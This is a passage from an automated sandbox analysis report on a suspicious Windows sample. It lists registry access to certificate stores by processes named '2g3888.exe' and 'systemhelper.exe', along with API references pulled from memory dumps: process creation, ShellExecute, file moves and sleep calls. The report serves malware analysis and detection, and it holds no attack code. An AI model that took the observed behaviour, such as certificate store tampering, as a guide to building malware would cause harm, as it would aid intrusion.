SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\INPUTAPP_1000.16299.248.0_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\APP\CAPABILITIES") "systemhelper.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\INPUTAPP_1000.16299.248.0_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\APP\CAPABILITIES") "systemhelper.exe" (Access type: "QUERY"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\INPUTAPP_1000.16299.248.0_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\APP\CAPABILITIES") "systemhelper.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\INPUTAPP_1000.16299.248.0_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY\APP\CAPABILITIES\FILEASSOCIATIONS")31:T9da,"try{if(window.parent!=null&&window!=window.parent){window.parent.postMessage(JSON.stringify({eventType:'web_app_open_tg_link',eventData:{path_full:"\/ho00rq"}}),'https://web.telegram.org');}}catch(e){}" (Indicator: "postmessage"; Source: "00000000-00000528.00000001.252412.83280000.00000004.mdmp") Found reference to API "FindWindowExA" (Indicator: "findwindow"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "PostMessageA" (Indicator: "postmessage"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "" (Indicator: "postmessage"; Source: "00000000-00004592.00000001.250667.B6140000.00000004.mdmp")43:T1da4,"" in "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp" Found registry modification API: "" in "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp" Found registry modification API: "" in "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp" Found registry modification API: "" in "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp" Found registry modification API: "internal/syscall/windows/registry.procRegCreateKeyExW" in "00000000-00002868.00000000.251818.0143B000.00000002.mdmp" Found registry modification API: "internal/syscall/windows/registry.procRegLoadMUIStringW" in "00000000-00002868.00000000.251818.0143B000.00000002.mdmp" Found registry modification API: "" in "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp" Found registry modification API: "" in "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp" Found registry modification API: "" in "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp" Found registry modification API: "" in "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp" Found registry modification API: "RegCreateKeyExA" in "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp" Found registry modification API: "" in "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp" Found registry modification API: "" in "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp" Found registry modification API: "" in "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp" Found registry modification API: "" in "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp"52:Tcbf,Found string "MoveFileW" (Indicator: "MoveFileW"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found string "MoveFileExW" (Indicator: "MoveFileExW"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found string "" (Indicator: "MoveFileA"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found string "" (Indicator: "MoveFileW"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found string "" (Indicator: "MoveFileExA"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found string "" (Indicator: "MoveFileExW"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found string "syscall.procMoveFileW" (Indicator: "MoveFileW"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found string "" (Indicator: "MoveFileA"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found string "" (Indicator: "MoveFileW"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found string "" (Indicator: "MoveFileExA"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found string "" (Indicator: "MoveFileExW"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found string "" (Indicator: "MoveFileA"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found string "" (Indicator: "MoveFileW"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found string "" (Indicator: "MoveFileExA"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found string "" (Indicator: "MoveFileExW"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp")53:T99f,"2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "2g3888.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")54:T4e3,"2g3888.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "2g3888.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "2g3888.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "2g3888.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "2g3888.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "2g3888.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "2g3888.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "2g3888.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "2g3888.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")55:T74d,"" (Indicator: "CreateProcess"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "R=ElevateCreateProcess Wv2" (Indicator: "CreateProcess"; Source: "00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "syscall.procCreateProcessAsUserW" (Indicator: "CreateProcess"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "syscall.procCreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp, 00000000-00002868.00000000.251818.A1320000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000000.250296.B6440000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6440000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp")58:T494,Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "CreateDirectoryW" (Indicator: "CreateDirectory"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "syscall.procCreateDirectoryW" (Indicator: "CreateDirectory"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp")59:T10af,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003336.00000000.253660.B911A000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00003336.00000000.253660.B911A000.00000002.mdmp") Found reference to API "syscall.procCreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "syscall.procCreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "CreateFileFromAppW" (Indicator: "CreateFile"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp")5a:T55b,Sleep@KERNEL32.DLL at 00000000-00005768-29572-11-009F6A60 WaitForSingleObject@KERNEL32.DLL at 00000000-00005768-29572-37-009F3FEF MsgWaitForMultipleObjects at 00000000-00005768-29572-95-009F3680 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00003524-35212-445-0016867A Sleep@KERNEL32.DLL at 00000000-00003524-35212-1037-0014C450 Sleep@KERNEL32.DLL at 00000000-00003524-35212-1057-0014FDB0 Sleep@KERNEL32.DLL at 00000000-00003524-35212-1072-0014EEA0 Sleep@KERNEL32.DLL at 00000000-00003524-35212-1078-0015B1E0 Sleep@KERNEL32.DLL at 00000000-00003524-35212-1079-00148170 Sleep@KERNEL32.DLL at 00000000-00003524-35212-1086-00148F10 Sleep@KERNEL32.DLL at 00000000-00003524-35212-1092-0014F0F0 Sleep@KERNEL32.DLL at 00000000-00003524-35212-1096-00157F60 WaitForSingleObject@KERNEL32.DLL at 00000000-00003524-35212-1102-00148380 SleepConditionVariableCS at 00000000-00003524-35212-1233-00166D9D SleepConditionVariableSRW at 00000000-00003524-35212-1235-00166DFC SleepConditionVariableCS at 00000000-00003524-35212-1236-00166DDC WaitForSingleObject@KERNEL32.DLL at 00000000-00005524-54196-80-00401014 WaitForSingleObject@KERNEL32.DLL at 00000000-00005524-54196-216-00413210 WaitForMultipleObjects@KERNEL32.DLL at 00000000-00005524-54196-324-00407623 Sleep@KERNEL32.DLL at 00000000-00005524-54196-786-004026E4 SetTimer at 00000000-00005524-54196-831-004095F75b:T51b,Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00003336.00000000.253660.B911A000.00000002.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "syscall.RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "syscall.procRegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp")5c:T577,Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "ShellExecuteExA" (Indicator: "ShellExecute"; File: "00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "WinExec" (Indicator: "WinExec"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "ShellExecuteExW" (Indicator: "ShellExecute"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "ShellExecuteExA" (Indicator: "ShellExecute"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "ShellExecuteExA" (Indicator: "ShellExecute"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp")5d:T50f,Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "LockResource" (Indicator: "LockResource"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "FindResourceW" (Indicator: "FindResource"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "FindResourceExW" (Indicator: "FindResource"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00003336.00000000.253660.B911A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00003336.00000000.253660.B911A000.00000002.mdmp")5e:Td38,Found reference to API "MoveFileW" (Indicator: "MoveFile"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "MoveFileExW" (Indicator: "MoveFile"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000528.00000000.252090.83280000.00000004.mdmp, 00000000-00000528.00000001.252412.83280000.00000004.mdmp, 00000000-00006396.00000000.252548.E9500000.00000004.mdmp, 00000000-00006448.00000000.252995.02CB0000.00000004.mdmp") Found reference to API "syscall.procMoveFileW" (Indicator: "MoveFile"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002868.00000000.251818.A10F0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004592.00000000.250296.B6140000.00000004.mdmp, 00000000-00004592.00000001.250667.B6140000.00000004.mdmp")5f:T61a,Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "syscall.procGetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "syscall.procCommandLineToArgvW" (Indicator: "CommandLineToArgv"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp")60:T1573,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "00000000-00007260.00000000.250188.0018F000.00000002.mdmp") 